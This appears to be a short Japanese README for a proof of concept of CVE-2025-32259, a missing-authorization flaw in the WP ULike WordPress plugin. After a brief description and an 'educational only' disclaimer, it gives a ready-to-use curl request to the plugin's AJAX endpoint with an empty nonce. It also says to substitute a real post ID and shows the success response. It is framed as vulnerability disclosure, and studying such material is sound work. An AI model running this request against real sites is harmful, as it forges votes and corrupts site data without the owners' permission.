
影響を受けるWP ULikeプラグインのバージョンでは、特定のAJAXアクションや投票操作を許可する前に、適切な認可チェックが行われません。これにより、未認証ユーザーがログインユーザーのみが実行できるはずの方法でプラグインと対話でき、投票結果を歪めたり、誤解を招くデータを注入したりする可能性があります。
🔬 WordPress用WP ULikeプラグインのCVE-2025-32259を実証するシンプルなPoCです。
🚨 教育目的のみ – 明示的な許可なしにシステムでテストしないでください。
WP ULikeは、サイト上のコンテンツにユーザーが「いいね」を付けられる人気のWordPressプラグインです。4.7.9.1までのバージョンは認可欠落の脆弱性の影響を受け、未認証ユーザーがAJAXリクエストを介して「いいね」アクションを偽装できる可能性があります。
この脆弱性により、未認証ユーザーがAJAXエンドポイントと対話し、権限なしに任意のコンテンツ(投稿、コメントなど)に「いいね」を付けることができます。
curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
-d "action=wp_ulike_process" \
-d "method=likeThis" \
-d "id=1" \
-d "type=post" \
-d "nonce=" \
-H "Content-Type: application/x-www-form-urlencoded"
id=1 を有効な投稿IDに置き換えてください。
成功時のレスポンスは次のようになります:
{"status":"success","msg":"You liked this."}